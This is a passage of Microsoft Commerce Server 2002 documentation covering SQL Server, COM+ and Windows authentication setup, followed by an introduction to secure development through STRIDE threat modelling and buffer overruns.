  2. In the SQL Server Enterprise Manager screen, in the Tree pane, expand Microsoft SQL Servers, expand SQL Server Group, expand <ServerName> (Windows NT), expand Databases, expand MSCS_Admin, right-click Roles and then click New Database Role.
  3. In the Database Role Properties - New Role dialog box, in the Name text box, type Anonymous_IIS_Role.
  4. In the Database role type section, select Standard role, and then click OK.

    The standard role you created and named Anonymous_IIS_Role appears in the Roles pane on the SQL Server Enterprise Manager screen.

  5. In the Roles pane, right-click Anonymous_IIS_Role, and then click Properties.
  6. In the Database Role Properties - Anonymous_IIS_Role dialog box, click Permissions.
  7. In the Database Role Properties - MSCS_Admin dialog box,in the SELECT column, select the ResourceProps, Resources, SiteResources, and Sites check-boxes, and then click OK.
  8. In the SQL Server Enterprise Manager screen, in the Tree pane, expand Microsoft SQL Servers, expand SQL Server Group, expand <ServerName> (Windows NT), expand Security, and then click Logins.
  9. In the SQL Server Enterprise Manager screen, in the Logins pane, right-click <DomainName>\Anonymous, and then click Properties.

    Note

    • You created the user account named <DomainName>\Anonymous, where <DomainName> is the name of your active directory domain, in Step 2: Create Required Accounts.
  10. In the SQL Server Login Properties - <DomainName>\Anonymous dialog box, select MSCS_Admin.
  11. In the Database roles for MSCS_Admin section, select the Anonymous_IIS_Role check-box, and then click OK.

For information, see Securing the Administration Database.

Step 10: Set up the OLAP Database

In this step, you migrate the OLAP repository so it resides on the SQL Server. You do this to improve the security of your OLAP repository. Then you assign the appropriate permissions to the DTSImport user account to access the repository.

To migrate the OLAP repository to SQL Server

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In SQL Server Enterprise Manager, create a new SQL database.
  3. In Analysis Services Manager, right-click the server name, and then click Migrate Repository.
  4. Choose the recommended Analysis Services native format.
  5. Select the SQL Server name where the OLAP repository database will reside.
  6. Use an Administrator level, SQL Authentication account for tracking this connection.

To assign the DTS_Import user account appropriate permissions

  1. Assign the DTSImport account to the OLAP Administrator group for both OLAP server and the SQL Server. To do this, perform the following steps:
    • Click Start, point to Programs, point to Administrative Tools, and then click Computer Management.
    • Expand Users and Groups, and then expand Groups.
    • Right-click the OLAP Administrator group, and then click Properties.
    • Add the DTSImport group as a member of the OLAP Administrators group.
  2. On the OLAP server, provide "Full Control" to the bin directory under <olap_server_root>\bin to the DTS_Import user. To do this, perform the following steps:
    • Navigate to the <olap_server_root>\bin directory, for example, \Program Files\Microsoft Analysis Services\Bin.
    • Right-click Bin, and then click Select.
    • Click Permissions, and then add the DTSImport account to this directory.
    • Provide Full Control access.
    • Click OK.
  3. On the computer on which you will run the DTS tasks, assign the DTSImport account to the "Power Users" group.

    In this security context, the debug messages generated by this task will not be shown. This is documented in Knowledge Base article Q274559. The workaround is to have the user run under the local Administrator account.

  4. If the OLAP cubes and the Data Warehouse are on different computers, you must set up the account for the MSSQLServerOLAPService service so it has db_owner role privileges on the Data Warehouse.

Step 11: Add the Service Accounts to the Config COM+ Application Role

The Config COM+ application has an Administrators role. Accounts in this role will use objects for writing to the Administration database. By default, the user logged on during Commerce Server setup is added to this role, and the local Administrators group is added.

You must add the service accounts to the Administrators role. (This step assumes you have already added the DTSImport account to the Administrators role. If you have not, do so now.)

To add the service accounts to the Administrators role

  1. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  2. Expand Component Services, expand Computers, expand My Computer, expand COM+ Applications, expand Commerce Server Config, expand Roles, and then expand Administrators.
  3. Right-click Users, select New, and then select User.
  4. In the Select Users or Groups dialog box, in the Look in box, select the Direct Mailer service account, for example, CSDM.
  5. Click OK.
  6. Repeat this procedure to add the List Manager service account, and Predictor service account.

Step 12: Add Individual User Accounts to the Group Domain Accounts

For each person who is going to use Business Desk, create a Windows users account. Next, assign those Windows accounts to the following group accounts as appropriated:

  • BDGroup account. Assign all Business Desk users.
  • ReportAdvanced account. Assign users who are going to save, modify, and delete dynamic reports.
  • SegmentViewer account. Assign users who are going to use the Segment Viewer module.

Note

  • Members of the ReportAdvanced group and the SegmentViewer group also have the privileges granted to users in the BDGroup.

To assign individual Business Desk users accounts to the group accounts

  1. Click Start, point to Programs, point to Administrative Tools, and then click Active Directory Users and Computers.
  2. In Active Directory Users and Computers, right-click the group account, and then click Properties.
  3. On the Members tab, click Add.
  4. Type the Windows accounts of the appropriate users, and then click OK.
  5. Repeat these steps to add the user accounts to the group accounts as needed.

Step 13: Grant Users Business Desk Permissions

Using the Business Desk Permissions module, you must add the Business Desk domain group account to the Permissions module, and then grant members of the domain permissions to use Business Desk.

Notes

  • If a Windows account is not in the Permissions module account list, or does not have any "allow" option assigned to it, then users assigned to that account cannot access Business Desk.
  • If the Permissions module account list contains a Windows account that no longer exists, users assigned to that account are denied access to all of the Business Desk categories and modules.

To add Windows accounts to the Permissions module account list

  1. In Security, click Permissions.
  2. In the Security Permissions screen, in the Windows Account section, click Add to List.
  3. In the Add Account dialog box, type the Windows account for which you want to add permissions (for example, BDGroup), and then click Add.
  4. To return to the Business Desk Welcome screen, click Back on the toolbar.

    The Windows account has been added to the Permissions module account list.

  5. Repeat these steps to add the ReportAdvanced group account and the SegmentViewer group account.

To set permissions for a Windows account

  1. In Security, click Permissions.
  2. In the Security Permissions screen, in the Windows Account drop-down box, select the Windows account in the Permissions module account list for which you want to add permissions.
  3. In the Security Permissions screen, in the Securable Entities section, grant the following accounts these permissions:
    • BDGroup – Allow All
    • ReportAdvanced – Allow All
    • SegmentViewer – Allow All

    For more information, see Setting Business Desk Permissions for Windows Accounts.

  4. To save changes and return to the Business Desk Welcome screen, click Save and go back on the toolbar.

Important

  • After permissions are changed for a Business Desk user, that user must close the Business Desk client, and then restart it for the new settings to take effect.

    If the Windows identity (groups membership, rights, ACLs, and so on) has changed for that user, the user must log off and then log on for new settings to take effect on the server. (Otherwise, the client will work correctly, but the server will not.)

Step 14: Enable Integrated Windows Authentication in Internet Explorer

Perform this step on each computer that has the Business Desk client installed. In addition, on the client computer, assign the Business Desk account to the Administrators group.

To enable Integrated Windows Authentication

  1. On the desktop, right-click Internet Explorer, and then click Properties.
  2. In the Internet Properties dialog box, click the Advanced tab.
  3. Scroll to the Security section, and then select Enable Integrated Windows Authentication.
  4. Click OK, and then restart the client computer.

To assign the Business Desk user to the Power Users group

  1. On the Business Desk client computer, click Start, point to Programs, point to Administrative Tools, and then click Computer Management.
  2. Expand Users and Groups, and then click Groups.
  3. Right-click Administrators, and then click Properties.
  4. Add the Business Desk group account, and then click OK.

Step 15: Map the User Login Account to Database Owner (dbo) User

Perform this step for users who will run the Commerce Server DTS tasks, and perform this step for the List Manager service account. You must perform this step so if any objects are created by the DTS task, the objects will be owned by the dbo.

For example, if you logged on as "joeuser," and you were not aliased to dbo, when you run the DTS tasks, the extended Data Warehouse table names would be owned by "joeuser" and would be qualified incorrectly as "joeuser.<table>."

By performing this procedure, you ensure that the table names will be correctly qualified as "dbo.<table>."

For information about database owner (dbo), and about using sp_addalias, see SQL Server Books Online.

To map the user login account to dbo user

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click SQL Query Analyzer.
  2. In the Connect to SQL Server dialog box, specify the appropriate SQL server.
  3. In Query Analyzer, in the database drop-down box, select the Data Warehouse database.
  4. In the Query Analyzer window, type exec sp_addalias 'domain\login_name','dbo'.

    For example, you might type the following:

        Exec sp_addalias '<domain>\joeuser','dbo'
  5. On the toolbar, click Run.

    The user account you specified will now be aliased to the database owner (dbo) user.

  6. Repeat this step to assign the dbo alias to the List Manager user to Data Warehouse.

    For example, you might type the following:

        Exec sp_addalias '<domain>\CSLM','dbo'

Step 16: Enable Users to Run the Model Builder DTS Task

Before you can run the Model Builder DTS task, you must first add your account to the security context of the Predictor service component, that is, to a list of user accounts that are allowed to call the Predictor service.

If you are setting up the Model Builder task to run on a scheduled basis, then you must also add the account for SQL Agent to list of allowed users to call the Predictor service.

To add your account to the Predictor security context

  1. Click Start, click Run, type Dcomcnfg, and then press Enter.
  2. On the Applications tab, select Microsoft Commerce Server Predictor Service, and then click Properties.
  3. On the Security tab, select Use custom access premissions, and then click Edit.
  4. On the Registry Value Permissions dialog box, click Add.
  5. Add the user account you want to run the Model Builder task, and in the Type of Access box, select Allow Access.
  6. The Administrators group must have the Log on as a service right.
  7. Click OK to save your the changes, click OK to exit the Properties dialog box, and then click OK to exit Dcomcnfg.
  8. Restart the Predictor service.


Using Windows Authentication in a Single Computer Deployment

You might want to deploy Commerce Server on a single computer, for example, if you are a developer building a site.

The deployment scenario explained in this topic is:

  • Internet Information Services (IIS) and the SQL Server databases (the Administration database and the Commerce Server site databases) are installed on the same computer.
  • SQL Server is configured for Mixed Mode authentication (Windows Authentication and SQL Server Authentication).
  • Commerce Server is configured for Windows Authentication.

    Users who connect to Business Desk and a Commerce Server site using a Windows user account can make use of trusted connections (connections validated by Windows). The users are identified by their Windows login ID and do not have to enter a separate SQL Server login ID.

To set up a Commerce Server site for trusted connections

  1. Create an Active Directory domain. For instructions, see Step 1: Configure Active Directory and DNS on Computer 1.
  2. Create a user account on the Active Directory domain so anonymous users can access SQL Server.
  3. Change the IUSR_<computer> account in IIS to the anonymous account created in Step 2.
  4. For the IWAM_<computer> account, assign the SQL Server db_owner role for the Commerce Server site database (not the MSCS_Admin database).
  5. When you install the Commerce Server services (Direct Mailer, Predictor, and List Manager), specify a Windows account(s) that has access to SQL Server.

    Commerce Server Setup automatically grants the logon as a service right to the account(s) you specify.

For information about the service accounts, see Securing Service Accounts.

For instructions about changing a service account or password, see Changing a Service Account or Password.

You do not need to do the following:

  • Grant trusted delegation to the domain logons
  • Change the security policies
  • Modify COM+ roles


Using Windows Authentication in a Distributed Deployment

When you deploy a remote SQL Server using Windows Authentication, you must change the Internet Information Services (IIS) anonymous account (default is IUSR_computer) to a domain account. Then, you must give the domain account a SQL login with the appropriate permissions to the Commerce Server run-time databases as specified in Securing Commerce Server Run-Time Databases.

Notes

  • If SQL Server is local, and you are using Windows Authentication, you must create a SQL login account for the IIS anonymous account (the default is IUSR_<computer>).
  • If you are using a remote SQL Server and SQL Server authentication, you do not need to give the domain account a SQL login.

The deployment scenario explained in this topic is:

  • Internet Information Services (IIS) is installed on one computer.
  • SQL Server databases (the Administration database and the Commerce Server run-time databases) are installed on a second computer.
  • SQL Server is configured for Mixed Mode authentication (Windows Authentication and SQL Server Authentication).
  • Commerce Server is configured for Windows Authentication to the SQL Server databases.
  • AuthFilter is configured for Custom Authentication. For this scenario, you must change the connection string for the Administration database to SQL Server Authentication; instructions are provided in this topic.

Because you are using a remote SQL Server and Windows Integrated Security, you must change the IIS anonymous account (the default is IUSR_computer) to a domain account. You must then give the domain account a SQL Server login that has the appropriate permissions to the Commerce Server run-time databases as specified in Securing Commerce Server Run-Time Databases

Setting up a trusted connection for Business Desk users

To change the anonymous account of the site to a domain account

To assign the domain account permissions to SQL Server

To change the connection string for the Administration database to SQL Server Authentication


Setting up a trusted connection for Business Desk users

When using Windows Authentication, you must trust the Commerce Server and the Web server on which the Business Desk application is installed for delegation. For instructions about trusting servers for delegation, see Step 5: Set up a Trusted Connection for Business Desk Users.

To change the anonymous account of the site to a domain account

  1. Before you perform these steps, create a user account on the Active Directory domain so that anonymous users can access SQL Server.
  2. In Commerce Server Manager, expand Internet Information Services, and then navigate to your application (for example, my_site).
  3. Right-click the application, and then click Properties.
  4. In the Properties dialog box, on the Directory Security tab, in the Anonymous access and authentication control section, click Edit.
  5. In the Authentication Methods dialog box, in the Anonymous access section, click Edit.
  6. In the Username box, type the name of a domain account.
  7. Click OK several times to close the dialog boxes.
  8. Click Start, and then click Run.
  9. In the Run dialog box, in the Open box, type iisreset, and then click OK.
A command box appears while IIS is being reset. IIS is reset when the command box closes.

To assign the domain account permissions to SQL Server

  1. In Commerce Server Manager, expand Microsoft SQL Servers, expand SQL Server Group, expand the server used by Commerce Server databases, and then expand Security.
  2. Right-click Logins, and then click New.
  3. In the SQL Server Login Properties - New Login dialog box, on the General tab, in the Name box, click Ellipsis to browse for and select the domain account.
  4. In the Domain box, type the name of the domain for the account.
  5. On the Database Access tab, select the Commerce Server databases to be accessed by this login.
  6. Click OK.

To change the connection string for the Administration database to SQL Server Authentication

  1. In Commerce Server Manager, right-click the node Commerce Server Manager, and then click Properties.
  2. On the Administration Database tab, click Modify.
  3. In the Data Link Properties dialog box, change the SQL Server name, if needed.
  4. To use SQL Authentication, select Use a specific user name and password, and then complete the User name and Password boxes.

    Important

    • Do not select Blank password. If you do, you will introduce a severe security vulnerability in your environment. It is also recommended that you do not use the sa account. Instead, create a new SQL account and assign it to the appropriate databases.
  5. Click OK.

Notes

  • It is possible to add connection strings that are not associated with a database, and thus, do not work. If this occurs, Microsoft Data Link does not display an error message.
  • After you change a property in Commerce Server Manager, you must restart all services that use those values. For instructions, see Restarting IIS and Commerce Server Services.


Using Direct Mailer and Windows Authentication

To use Direct Mailer service with Windows Authentication, perform the steps explained in this topic.

If your site uses Windows Authentication, and permissions are not given to the service accounts under which the Direct Mailer and List Manager run, a Business Desk user may get the error message "Unable to save or schedule the Direct Mail."

Following are the steps required to configure the Direct Mailer service to use Windows Authentication:

  • Creating a SQL Login
  • Granting Direct Mailer Access to the Commerce Server COM Objects
  • Setting the Service Identity
  • Changing the Connection Strings for Windows Authentication
  • Restarting IIS and the Direct Mailer Service

Creating a SQL login

You perform the following steps to create a SQL login that matches the identity under which the Direct Mailer and List Manager services are configured to run. The service identity is created as part of setup; however, if you want to modify the service identity, see Setting the Service Identity.

In this step you create a SQL login that has db_owner permissions for both the Direct Mailer database and the <sitename>_Commerce database.

To create a SQL login

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In SQL Server Enterprise Manager, expand the nodes to the following path: Microsoft SQL Servers/SQL Server Group/<computer name>/Security/Logins.
  3. Right-click anywhere in the right pane, and then select New Login.

    Note

    • Do not right-click on an existing name.
  4. In the SQL Server Login Properties - New Login screen, on the General tab, do the following:
    Use this | To do this
    Name | Type the name of the domain account configured for the service.
    Windows Authentication | Verify that this option is selected.
    Domain | Select the domain of the account from the drop-down list.
    Grant access | Verify this option is selected for security access.
    Database | Select master as the database for this login from the drop-down list.
    Language | Select the default language for this login from the drop-down list.
  5. In the Database Access tab, do the following:
    Use this | To do this
    Permit | Select this check box next to the <sitename>_commerce database to specify that the database will be accessed by this login.
    db_owner | Select this check box to specify the db_owner database role for the <sitename>_commerce database.

    Note

    • Repeat step 5 for the Direct Mailer database.

    Important

    • A Business Desk user assigned to the db_owner role could potentially delete a database. To mitigate this risk, place a firewall that prevents direct connection from the Business Desk client to the SQL Server database containing the catalogs. This is the recommended secure configuration. For detailed instructions for deploying firewalls, see Deploying a Secure Site.
  6. Click OK.

Granting Direct Mailer access to the Commerce Server COM objects

You must grant Direct Mailer access to the Commerce Server COM objects. Through the GlobalConfig COM object, Direct Mailer obtains access to the Administration database (and loads its initial configuration).

To grant Direct Mailer access to the Commerce Server COM objects

  1. Click Start, point to Programs, point to Administrative Tools, and then click Component Services.
  2. Expand the nodes to the following path: Component Services/Computers/My Computer/COM+ Applications/Commerce Server Config/Roles/Web Users/Users.
  3. Right-click Users, and then select New Window from Here.
  4. Right-click Users, select New, and then select User.
  5. In the Select Users or Groups dialog box, in the Look in box, select the computer name of the user under which you want the service to run.
  6. In the bottom pane, type the name of the user, or select the user from the list under which you want the services to run, and then click OK.

Setting the Service Identity

The Commerce Server Direct Mailer and Commerce Server List Manager service identities are created as part of setup; however, if you want to modify the service identities, you perform the following steps after setup has completed. These steps must be performed for both the Direct Mailer and List Manager services.

To set the Service identity

  1. Click Start, point to Programs, point to Administrative Tools, and then click Services.
  2. In the Services dialog box, in the right pane, right-click Commerce Server Direct Mailer, and then select Properties.
  3. In the Commerce Server Direct Mailer Properties dialog box, in the Log On tab, select the This account option, and then do the following:
    Use this | To do this
    This account | Type the name of the user under which you want the service to run.
    Password | Type the password of the user under which you want the service to run.
    Confirm password | Type the confirmation password of the user under which you want the service to run.
  4. Click OK.
  5. To restart the service, in the Services dialog box, right-click Commerce Server Direct Mailer, and then click Restart.
Note
  • Repeat steps 2 through 5 for the Commerce Server List Manager service.

Changing the Connection Strings for Windows Authentication

The connection strings for the Direct Mailer are created as part of setup for the services, and as part of unpacking a site for the site-specific services. If during setup you selected SQL Server authentication, you will need to change the connection strings to use Windows Authentication.

To change the connection strings for Windows authentication

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, expand Global Resources, and then right-click Direct Mail on <server name>, and then click Properties.
  3. In the Direct Mail on <server name> Properties dialog box, on the Connection Strings tab, click Modify.
  4. In the Data Link Properties dialog box, do the following:
    Use this | To do this
    Select or enter a server name | Select a server name from the drop-down list, or type the path to the server that contains the database you want to access.
    Use Windows NT Integrated security | Click to specify that the provider request a secure (or trusted) connection to a SQL Server running on Windows 2000.
    Select the database on the server | Select DirectMailer from the drop-down list.
  5. Click OK.
  6. In the Direct Mail on <server name> Properties dialog box, click OK.
  7. In Commerce Server Manager, expand Commerce Sites, expand <site name>, expand Site Resources, right-click Campaigns, and then select Properties.
  8. In the Campaigns Properties dialog box, click Modify.
  9. In the Data Link Properties dialog box, do the following:
    Use this | To do this
    Select or enter a server name | Select a server name from the drop-down list, or type the path to the server that contains the database you want to access.
    Use Windows NT Integrated security | Click to specify that the provider request a secure (or trusted) connection to a SQL Server running Windows 2000.
    Select the database on the server | Select <site name>_commerce from the drop-down list.
  10. Click OK.
  11. In the Direct Mail on <server name> Properties dialog box, click OK.

Restarting IIS and the Direct Mailer Service

After you change the connection string, you must restart IIS. You must also restart the Direct Mailer service for the settings to take effect. You can restart Direct Mailer from either the command line interface or through the administration tools.

To use the IISReset command to restart IIS

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type iisreset, and then click OK.

A command box appears while IIS is being reset. IIS is reset when the command box closes.

To restart Direct Mailer from the command line interface

  1. At the command line, type the following: net stop dmlservice
  2. When the service has stopped, type the following: net start dmlservice

To restart Direct Mailer using Services

  1. Open Services from the Start menu. Click Start, point to Programs, point to Administration Tools, and then click Services.
  2. In the Services screen, in the right pane, right-click Commerce Server Direct Mailer, and then select Restart.

See Also

Configuring Direct Mailer

Security Risk: Using SQL Authentication for Direct Mailer Global Resource


Using SQL Authentication

It is strongly recommended that you use Windows Authentication for database connectivity instead of SQL Authentication. This section explains the security risks associated with using SQL Authentication in a Commerce Server deployment.

SQL Server Authentication

SQL Server Passwords

SQL Server in a Distributed Deployment

Creating SQL Accounts for Commerce Server Resources

SQL Server Authentication

It is recommended that you use Windows Authentication instead of SQL Server Authentication. If you do use SQL Server Authentication, note the following security risks and the steps you must take to secure your site:

  • Clear text passwords, in connection strings, will be stored in the Administration database.

    When a connection is made to a Commerce Server database, the clear text password will be transmitted over the wire, allowing attackers to detect it.

    To secure your installation

    • Implement a private network from Web servers to SQL Servers so attackers cannot sniff traffic from the Web server to the SQL Server database.
    • Enable Multiprotocol Net-Library encryption on the SQL Server. For instructions, see SQL Server Books Online.
    • Enable Secure Sockets Layer (SSL) on port 1433 of the Web server. For instructions, see "Setting Up SSL on Your Server" in the IIS 5.0 Documentation.
    • Use IPSec on the network connection. For instructions, see Windows 2000 Help.
  • Clear text passwords are saved in the OLAP file in \Program Files\Microsoft Analysis Services\bin\msmdrep.mdb.

    To secure this file, either migrate the content to a repository in the SQL Server database, or use Windows Integrated Security.

SQL Server Passwords

  • When a Web server connects to a SQL Server using SQL Server Authentication, the SQL Server password travels in clear text. To protect a SQL Server connection from intruders, use the multi-protocol network driver in SQL Server, which allows encryption of session connections. If you use Windows NT authentication, this password will be protected, except in Commerce Server Setup and if you choose the Quick Unpack option in Commerce Server Site Packager.
  • Do not use the "sa" login that SQL Server creates by default. You should specify a different administrative login name for your database servers. Never use a blank password. Doing so increases security risks for your site.

SQL Server in a Distributed Deployment

When SQL Server is remote, the IIS anonymous account (the default is IUSR_<computername>) must use a domain account.

For information about the database access privileges you should grant to the IUSR to access the Administration database, see Securing the Administration Database.

For information about setting up the domain account, see Using Windows Authentication in a Distributed Deployment.

Creating SQL Accounts for Commerce Server Resources

If you use SQL Authentication, you should create SQL logins for the following resources:

  • Business Desk Permissions
  • Campaigns
  • Product Catalogs
  • Profiles
  • Direct Mailer
  • Data Warehouse
  • Transactions
  • Transactions Config


Developing a Secure Site

This section focuses on the steps you should take to design and develop a secure site. It includes content, used with permission from the authors, from the excellent book, Writing Secure Code, by Michael Howard and David LeBlanc (Microsoft Press, 2002). Before you begin developing your Commerce Server site, it is strongly recommended that you read Writing Secure Code.

For detailed instructions about deploying a secure Commerce Server site, see Deploying a Secure Site.

This section contains:

  • Security Design by Threat Modeling
  • Writing Secure Code
  • Common Web Security Mistakes
  • Cross-site Scripting Issues
  • Building SQL Statements Securely
  • Running with Least Privilege
  • Preventing Denial of Service Attacks


Security Design by Threat Modeling

During the design phase of your Web site development, you should create a threat model. This is a list of areas where your Commerce Server site is most vulnerable, the risk of an attack to each area, what you can do to mitigate the risk, and the priority assigned to implementing the mitigation. By creating a threat model, you can identify the areas where your Commerce Server installation is most vulnerable and then choose the appropriate tools and implement the best design to protect it.

The threat modeling process is as follows:

  1. Identify the known threats to the system.
  2. Rank the threats in order by decreasing risk.
  3. Determine how you will respond to the threats.
  4. Identify techniques that mitigate the threats.
  5. Choose the appropriate technologies from the identified techniques.

You might need to perform this process more than once because it is difficult to formulate all possible threats in one pass. Also, technology changes over time, new issues arise, and the business and technical landscape may expose new risks, or render existing threats harmless. All of these have an impact on the known threats to your system.

This section contains:

  • Identifing Known Threats
  • Ranking Threats by Decreasing Risk
  • Identifying Techniques that Mitigate Threats
  • Choosing the Appropriate Technologies from the Identified Techniques


Identifying Known Threats

It is important that you identify the threats to your Commerce Server installation. You need to consider the possibility of threats to the following types of data:

  • Configuration data: connection strings to databases
  • Authentication data: user names and passwords stored in your Profiles database.
  • Persistent data: data stored and used by Commerce Server processes such as SQL Server data, XML data, registry data, files, authentication and authorization data, and logs.
  • Data that travels over communications channels: cookies, authentication information, purchasing and ordering information, and credit card numbers.
  • State data: data that indicates whether the user is logged in or logged out, and data stored in shopping baskets.
  • Temporary data: data that is created by the processes running the site.

To identify the threats to this data, you should outline the overall architecture of your system, including:

  • Core processes, such as executables, COM objects, and services.
  • Configuration data, authentication data, persistent data, and data that travels over communication channels.
  • Communication channels used between the processes, including sockets, pipes, remote procedure calls (RPCs), Distributed Component Object Model (DCOM), TCP/IP, and Simple Object Access Protocol (SOAP).

Then, hold a meeting that includes at least one member from each of the disciplines in your organization, for example, a Web designer, a developer, a system administrator, and a technical writer. Review the overall architecture and attempt to identify as many security threats as possible. The objective of this meeting is to identify potential threats, not to solve the problems they present.

Create a table that lists the core processes, persistent and temporary data, and communications protocols for your application, such as the following sample table.

Component or Protocol | Comments
Browser | This is used by the client to view profile and order information.
Hypertext Transfer Protocol. (HTTP) | The browser communicates with the Web server by using HTTP.
Web server | The Web server creates the HTML data that the browser renders.
Web pages | The Web pages are written as Active Server Pages (ASP).
Authentication data | This is used to authenticate registered users.
Database server | Commerce Server includes stored procedures used to access run-time and design-time data.

In the next stage, you will group and analyze the threats to these components and protocols.

This section contains:

  • The STRIDE Threat Model
  • Applying STRIDE
  • STRIDE Threats in Commerce Server


The STRIDE Threat Model

When you are considering threats, it is useful to ask questions such as these:

  • How can an attacker change the authentication data?
  • What is the impact if an attacker can read the user profile data?
  • What happens if access is denied to the user profile database?

You can group threats into categories to help you formulate these kinds of pointed questions. One model you may find useful is STRIDE, derived from an acronym for the following six threat categories:

  • Spoofing identity. An example of identity spoofing is illegally accessing and then using another user's authentication information, such as username and password.
  • Tampering with data. Data tampering involves the malicious modification of data. Examples include unauthorized changes made to persistent data, such as that held in a database, and the alteration of data as it flows between two computers over an open network, such as the Internet.
  • Repudiation. Repudiation threats are associated with users who deny performing an action without other parties having any way to prove otherwise—for example, a user performs an illegal operation in a system that lacks the ability to trace the prohibited operations. Nonrepudiation refers to the ability of a system to counter repudiation threats. For example, a user who purchases an item might have to sign for the item upon receipt. The vendor can then use the signed receipt as evidence that the user did receive the package.
  • Information disclosure. Information disclosure threats involve the exposure of information to individuals who are not supposed to have access to it—for example, the ability of users to read a file that they were not granted access to, or the ability of an intruder to read data in transit between two computers.
  • Denial of service. Denial of service (DoS) attacks deny service to valid users—for example, by making a Web server temporarily unavailable or unusable. You must protect against certain types of DoS threats simply to improve system availability and reliability.
  • Elevation of privilege. In this type of threat, an unprivileged user gains privileged access and thereby has sufficient access to compromise or destroy the entire system. Elevation of privilege threats include those situations in which an attacker has effectively penetrated all system defenses and become part of the trusted system itself, a dangerous situation indeed.

See Also

Applying STRIDE

STRIDE Threats in Commerce Server


Applying STRIDE

The simplest way to apply the STRIDE model to your application is to consider how each of the threats in the model affects each Commerce Server component and each of its connections or relationships with other application components. Essentially, you look at each part of the application and determine whether any threats that fall into the S, T, R, I, D, or E categories above exist for that component or process. Most parts will have numerous threats, and it is important that you record all of them.

Following are some sample threats to a Web site. Note that this is a highly abridged list. In a two-hour threat-analysis meeting you will likely be able to identify 20 to 40 security threats.

  • Threat #1 A malicious user views or tampers with personal profile data en route from the Web server to the client or from the client to the Web server. (Tampering with data/Information disclosure)
  • Threat #2 A malicious user views or tampers with personal profile data en route from the Web server to the COM component or from the component to the Web server. (Tampering with data/Information disclosure)
  • Threat #3 A malicious user accesses or tampers with the profile data directly in the database. (Tampering with data/Information disclosure)
  • Threat #4 A malicious user views the Lightweight Directory Access Protocol (LDAP) authentication packets and learns how to reply to them so that he can act "on behalf of" the user. (Spoofing identity/Information disclosure/Elevation of privilege [if the authentication data used is that of an administrator])
  • Threat #5 A malicious user defaces the Web server by changing one or more Web pages. (Tampering with data)
  • Threat #6 An attacker denies access to the profile database server computer by flooding it with TCP/IP packets. (DoS)
  • Threat #7 An attacker deletes or modifies the audit logs. (Tampering with data/Repudiation)
  • Threat #8 An attacker places his own Web server on the network after killing the real Web server with a distributed DoS attack. (Spoofing identity; in addition, a particularly malicious user could instigate all threat categories by stealing passwords or other authentication data, deleting data, and so on.)

See Also

The STRIDE Threat Model

STRIDE Threats in Commerce Server


STRIDE Threats in Commerce Server

The following figure shows the STRIDE threats in a Commerce Server installation, and the mitigation techniques for each threat. For example, the threats to the Administration database are: Tampering with data, Information disclosure, and Denial of Service. To mitigate these threats, use Access Control Logs (ACLs), Secure Socket Layer (SSL), Transport Layer Security (TLS), and IPSec authentication.

See Also

The STRIDE Threat Model

Applying STRIDE


Ranking Threats by Decreasing Risk

For each asset in your Commerce Server installation, prioritize possible threats by determining the following:

  • What is the chance of an attack occurring? That is, how much effort/cost/time would be required to mount the attack? 1 = high chance, 10 = low chance
  • What is the cost or damage to your site if an attack occurs? 1 = little damage, 10 = massive damage
  • Risk = Damage if an attack occurs / Chance of attack. 1 = little risk, 10 = massive risk

To reduce the risk to your Commerce Server installation, address the high-risk items first. When you do this, keep in mind the industry statistics in the following table. They show the current vulnerability distribution by cause of seven major threats.

Vulnerability | Percentage of attacks
Restrictions that can be bypassed | 20
Argument checking | 19
Unchecked buffer | 18
Incorrect control marking | 10
Incorrect permissions | 9
Architectural error | 6
Other implementation error | 18

See Also

Identifying Techniques that Mitigate Threats


Identifying Techniques that Mitigate Threats

The following table lists some of the techniques you can use to mitigate the threats in the STRIDE model.

Threat type Mitigation technique
Spoofing identity
  • Authentication
  • Protect secrets
  • Do not store secrets
Tampering with data
  • Authorization
  • Hashes
  • Message authentication codes
  • Digital signatures
  • Tamper-resistant protocols
Repudiation
  • Digital signatures
  • Timestamps
  • Audit trails
Information disclosure
  • Authorization
  • Privacy-enhanced protocols
  • Encryption
  • Protect secrets
  • Do not store secrets
Denial of service
  • Authentication
  • Authorization
  • Filtering
  • Throttling
  • Quality of service
Elevation of privilege
  • Run with least privilege

See Also

Choosing the Appropriate Technologies from the Identified Techniques


Choosing the Appropriate Technologies from the Identified Techniques

Commerce Server provides authentication features, encryption features, and scripts for granting the appropriate level of permissions for access to databases, views, and stored procedures.

In addition it is recommended that you implement Windows Integrated Security (also known as Kerberos, or Windows Authentication) to secure access to databases, and use Access Control Logs (ACLs), Secure Socket Layer (SSL), Transport Layer Security (TLS), and IPSec authentication.

For a comprehensive discussion of the technologies available to mitigate threats, see Writing Secure Code, by Michael Howard and David LeBlanc. In this online help, the topic, Writing Secure Code, provides information from the book.


Writing Secure Code

You can assure a secure site by writing secure code. This section discusses coding techniques and common mistakes that developers make when writing code for a Web application.

This section contains:

  • Buffer Overruns
  • Preventing Buffer Overruns


Buffer Overruns

A buffer overrun occurs when an attacker attempts to write too many bytes into an n-byte buffer. Three things can happen to your site as a result:

  • You get an access violation (AV).
  • Your site becomes unstable.
  • The attacker injects code into your application, executes it, and makes everyone an administrator of your site.

The following topics in this section discuss the different types of buffer overruns, array indexing errors, format string bugs, and Unicode and ANSI buffer size mismatches. Format string errors do not strictly depend on a buffer overrun being present, but this newly publicized issue allows an attacker to do many of the same things that can be done with a buffer overrun. After demonstrating how buffer overruns work, techniques for avoiding these problems are discussed.

Note

  • The version of Visual C++ included with Microsoft Visual Studio .NET includes support for preventing certain kinds of stack-based exploitable overruns. The technology in the compiler applies to all Windows C++ applications, not just to .NET managed code.

This section contains:

  • Static Buffer Overruns
  • Heap Overruns
  • Array Indexing Errors
  • Format String Bugs
  • Unicode and ANSI Buffer Size Mismatches


Static Buffer Overruns

A static buffer overrun occurs when a buffer declared on the stack is overwritten by copying data larger than the buffer. Variables declared on the stack are located next to the return address for the caller of the function. The usual culprit is unchecked user input passed to a function such as strcpy, and the result is that the return address for the function gets overwritten by an address chosen by the attacker.

